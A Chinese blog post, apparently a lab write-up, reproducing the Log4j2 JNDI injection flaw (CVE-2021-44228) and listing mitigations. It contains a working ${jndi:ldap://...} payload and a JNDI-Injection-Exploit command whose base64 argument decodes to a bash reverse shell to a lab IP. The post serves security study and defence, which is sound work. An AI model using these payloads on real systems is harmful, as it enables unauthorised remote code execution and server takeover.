Log4j2远程命令执行(CVE-2021-44228)

文章详细介绍了Log4j2框架中的JNDI注入漏洞,包括漏洞原理、影响范围、复现过程及如何通过特定payload利用此漏洞实现远程代码执行。此外,还提供了临时修复建议,如升级组件、设置JVM参数,并提到了相关安全防护措施。
摘要由CSDN通过智能技术生成

漏洞原理

该漏洞是由于,在JNDI客户端的lookup()函数参数外部可控或Reference类构造方法的classFactoryLocation参数外部可控时,会使用户的JNDI客户端访问RMI注册表中绑定的恶意Reference类,从而加载远程服务器上的恶意class文件在客户端本地执行,最终实现JNDI注入攻击导致远程代码执行。

漏洞影响范围

2.0 <= Apache Log4j2<= 2.14.1

漏洞复现过程

在这里插入图片描述
启动服务后,进入主页面,点击页面中的???链接,跳转到,目标地址。
在这里插入图片描述
在这里插入图片描述
首先使用dnslog进行测试,是否存在jndi注入的点,再ceyedns平台接收到了反馈的消息,发现此处存在jndi注入。

payload=${jndi:ldap://dnslog地址/}并将其进行url转码。

在这里插入图片描述
如果payload没有进行url编码,可能会导致后台无法解析,最好的方式就是将payload全部进行url编码。(这一块之所以需要编码,可能是环境的问题)
在这里插入图片描述
在这里插入图片描述
下面为了获取shell反弹,需要先进行bash指令base64编码。
base64转码地址:https://ares-x.com/tools/runtime-exec
在这里插入图片描述
使用jndi注入工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 。

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUuMTI5LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 192.168.5.129

在这里插入图片描述
此处我选择的是Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath)的结果。
在这里插入图片描述
在这里插入图片描述在此处可以发现,首先通过rmi远程监听,接收到远程调用后,将其转发至payload地址,调用exp。
在这里插入图片描述
成功getshell。

在这里插入图片描述

我采用的是较为简单便捷的方法进行复现,全程只是使用了JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar工具,另外,还可以使用ysoserial-0.0.6-SNAPSHOT-all.jar以及marshalsec-0.0.3-SNAPSHOT-all.jar。可以使用marshalsec-0.0.3-SNAPSHOT-all.jar进行rmi监听,使用ysoserial生成poc。

漏洞修复建议

及时升级log4j组件。
临时建议
添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true
在应用classpath下添加log4j2.component.properties配置文件,文件内容为 log4j2.formatMsgNoLookups=true
JDK使用11.0.1、8u191、7u201、6u211及以上的高版本
部署使用第三方防火墙产品进行安全防护。

参考链接

Log4j2漏洞环境搭建及复现:http://www.plumstar.cn/2022/11/14/Apache%20Log4j2%E6%BC%8F%E6%B4%9E%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA%E5%8F%8A%E5%A4%8D%E7%8E%B0/
Log4j2漏洞原理、复现与利用:https://www.cnblogs.com/hellobao/articles/17249334.html
CVE-2021-44228——Vulfocus-Log4j RCE漏洞复现:https://blog.csdn.net/weixin_44309905/article/details/122316579

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值